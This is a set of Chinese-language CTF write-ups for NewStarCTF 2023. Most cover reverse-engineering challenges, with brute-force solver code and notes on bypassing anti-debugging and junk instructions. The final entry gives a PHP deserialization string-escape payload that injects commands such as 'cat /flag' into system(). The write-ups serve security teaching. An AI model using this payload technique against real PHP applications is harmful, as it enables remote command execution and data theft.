https://dirtycow.cn/tag/NewStarCTF/ https://dirtycow.cn/173.html 2023-11-02T20:30:00+08:00 思路：直接爆破exp:#include <stdio.h> #include <string.h> int main() { int enc[] = { 0xE8, 0x80, 0x84, 0x08, 0x18, 0x3C, 0x78, 0x68, 0x00, 0x70, 0x7C, 0x94, 0xC8, 0xE0, 0x10, 0xEC, 0xB4, 0xAC, 0x68, 0xA8, 0x0C, 0x1C, 0x90, 0xCC, 0x54, 0x3C, 0x14, 0xDC, 0x30 }; char key[] = "NewStarCTF"; for(int i =0; i < 29; i++) { for(int j = 33; j < 127; j++) { int tmp = j; if(tmp >= 'A' && tmp <= 'Z') { tmp = (tmp - 52) % 26 + 65; } else if(tmp >= '0' && tmp <= '9') { tmp = (tmp - 45) % 10 + 48; } else if(tmp >= 'a' && tmp <= 'z') { tmp = (tmp - 89) % 26 + 97; } tmp += key[i % strlen(key)]; tmp = ~tmp; tmp = (unsigned char)(tmp * 52); if(tmp == enc[i]) { if((j >= 'A' && j <= 'Z') || (j >= 'a' && j <= 'z')) { printf("%c", j); break; } } } } return 0; }flag:BruteForceIsAGoodwaytoGetFlag https://dirtycow.cn/172.html 2023-11-02T18:20:00+08:00 思路：思路就是爆破要注意windows的srand()函数和Linux的srand()函数不一样，要放在linux中运行exp：#include <stdio.h> #include <stdlib.h> int main() { unsigned char enc[] = { 0xEE, 0xE6, 0xD7, 0xB2, 0x8A, 0xAB, 0x13, 0x35, 0x02, 0x7B, 0xC9, 0xB9, 0x9C, 0xBA, 0xED, 0x2E, 0xBD, 0x4F, 0xFA, 0xEE, 0xC8, 0xF8, 0xE4, 0x16, 0x82, 0x63, 0x3B, 0x98, 0xF4, 0x14, 0x30, 0x38, 0x07, 0x36, 0x84, 0x3D, 0x0C, 0x36, 0x32, 0xEA, 0x55, 0xA6 }; unsigned char Table[] = { 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16 }; srand(0x7261745377654E); int v4 = 0; int v3 = 0; char flag[43] = {0}; for(int j = 0; j < 42; j++ ) { v4 = rand(); for(int i = 32; i < 127; i++) { v3 = i; if(enc[j] == Table[(16 * ((v3 + v4 % 255) >> 4) + 15) & (v3 + v4 % 255)]) { flag[j] = i; break; } } } printf("%s", flag); return 0; }flag:flag{B8452786-DD8E-412C-E355-2B6F27DAB5F9} https://dirtycow.cn/170.html 2023-10-25T17:48:00+08:00 思路：拿到题目，先使用exeinfo查壳image-20231025165019875.png程序是无壳32位使用ida打开，查看伪代码image-20231025165121623.png大概过一遍程序将用户输入保存在unk_4033D4之后有个反调试，然后调用了sub_401042()函数接下来是一个判断，判断flag是否正确，但是ida没有识别出来这个函数，应该是被加密了跟进sub_401042()函数查看image-20231025165803500.png这个函数对数组byte_403040进行了操作，这个数组就是判断flag时调用的函数我们只要动调到sub_401042()函数执行完就可以看到验证flag的函数因为程序有反调试，我们在检测反调试的地方下个断点image-20231025172019455.png调试启动！！！输入flag之后程序停在了跳转这边image-20231025172126171.pngjz是判断zf标志位来跳转的image-20231025172541644.png我们只要修改zf标志位就能控制跳转，将zf改成1，在判断flag的的地方下个断点，继续运行image-20231025173030609.png按f7于运行一步，双击进入byte_403040image-20231025173250544.pngida已经识别出指令了，在函数头按P创建函数，再按f5查看伪代码image-20231025173341591.png现在已经能看到flag的验证函数了用户输入的数据异或0x11再加5等于加密字符串，我们只要将加密flag反正运算一下就能得到flag接下来写expexp：双击进入unk_403020，选中shift+e就能提取加密flag的数据image-20231025174343190.pngenc = [ 0x7C, 0x82, 0x75, 0x7B, 0x6F, 0x47, 0x61, 0x57, 0x53, 0x25, 0x47, 0x53, 0x25, 0x84, 0x6A, 0x27, 0x68, 0x27, 0x67, 0x6A, 0x7D, 0x84, 0x7B, 0x35, 0x35, 0x48, 0x25, 0x7B, 0x7E, 0x6A, 0x33, 0x71 ] flag = '' for i in range(32): flag += chr((enc[i] - 5) ^ 0x11) print(flag)flag：flag{SMC_1S_1nt3r3sting!!R1ght?} https://dirtycow.cn/157.html 2023-10-24T22:00:00+08:00 思路：拿到题目，使用exeinfo查看image-20231024210806544.png程序是64位的elf拖入ida查看， 找到主函数按f5查看伪代码image-20231024211006264.png程序读取了用户输入的字符串保存在byte_4080 ,将其重命名成input又将input的长度赋值给了v4，将v4重命名成len继续我往下看image-20231024211353736.png有个if判断了input的长度是否等于25，不等于则退出程序input和len别传入loc_1209,跟进去查看image-20231024211722721.png发现一片红的，ida没有将这个函数识别出来，应该是程序添加了花指令，往下翻image-20231024212124145.png在这边看到了两个指令jz和jnzjz代表zf标志位为0时跳转jnz代表zf标志位不为0时跳转这两个指令都将跳转到13b0+1这个地址，而这个地址别ida识别成了指令光标定位到这个地址，按下键盘上的U，取消定义image-20231024213316861.png再选中c7，按下键盘上的C,将其转换成代码image-20231024213409565.png这时候地址13b1就出来了，再将上面的E8给nop掉，因为程序经过jz和jnz会跳转到13b1这个地址，13b0这个地址并不会别执行，所以可以直接nopimage-20231024213750268.pngimage-20231024213808277.png选中函数头按下键盘上的P创建函数，再按f5, ida成功识别出来这个函数查看这个函数image-20231024214013565.png程序先初始化了v5，将~(i^a2)的值存入的v5 ，这里的a2是len第二个循环翻译过来就是for(j = 0; len > j; j++) { input[j] = v5[input[j]] }这里将input的值作为v5的下标赋值给input继续往下看，进入sub_160C函数查看image-20231024215111632.pnga1 a2 a3 分别是input &unk_4020 len双击&unk_4020 查看image-20231024215232379.png这就是加密的flag这个函数将修改后的input和加密后的flag进行比较看到这里已经可以逆向推算出flag了我们只要在v5中找加密的flag，取它的下标就是flagexp:#include <stdio.h> int main() { unsigned char enc[] = { 0xD0, 0xD0, 0x85, 0x85, 0x80, 0x80, 0xC5, 0x8A, 0x93, 0x89, 0x92, 0x8F, 0x87, 0x88, 0x9F, 0x8F, 0xC5, 0x84, 0xD6, 0xD1, 0xD2, 0x82, 0xD3, 0xDE, 0x87 }; char table[256] = {0}; for(int i =0; i <= 255; i++) { table[i] = ~(i^25); } char flag[26] = {0}; for(int j = 0; 25 >j; j++) { for(int k = 0; k <= 255; k++) { if(enc[j] == table[k]) { flag[j] = k; } } } printf("%s", flag); return 0; }运行结果C:\Users\777\Desktop\reverse\NewStarCTF 2023 公开赛道\2>gcc Petals.c C:\Users\777\Desktop\reverse\NewStarCTF 2023 公开赛道\2>a 66ccff#luotianyi#b074d58aflag:flag{d780c9b2d2aa9d40010a753bc15770de} https://dirtycow.cn/143.html 2023-10-24T11:36:00+08:00 思路:打开题目 查看php代码，再根据题目的提示确定这是字符串逃逸<?php highlight_file(__FILE__); function waf($str){ return str_replace("bad","good",$str); } class GetFlag { public $key; public $cmd = "whoami"; public function __construct($key) { $this->key = $key; } public function __destruct() { system($this->cmd); } } unserialize(waf(serialize(new GetFlag($_GET['key']))));分析一下代码 这段代码用GET方式接收了key，将这个key传入了GetFlag类中之后又将这个类序列化了传入waf函数查看waf函数 ，发现这个函数对传入如的字符串进行了处理，将传入的字符串中的bad字符替换成了good最后又将处理过的字符串反序列化了，经过处理的字符串字符会增多，导致字符逃逸我们只要传入一定量的字符bad，使逃逸的字符(payload)覆盖原本的字符就能实现任意命令执行接下来构造paylaodpayload:先将GetFlag类序列化查看O:7:"GetFlag":2:{s:3:"key";s:0:"";s:3:"cmd";s:6:"whoami";}来构造一下要执行的命令 ";s:3:"cmd";s:4:"ls /";} 我们构造执行命令的字符长度是24，也就是说要逃逸24个字符，需要24个bad构造payloadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}先在本地测试一下image-20231024112553669.png使用var_dump函数查看GetFlag的结构，发现变量cmd的值已经是ls /了去题目测试image-20231024112922436.png成功列出根目录构造查看flag的payload";s:3:"cmd";s:9:"cat /flag";}查看flag的payload有29个字符payload：badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}image-20231024113413431.png成功getflag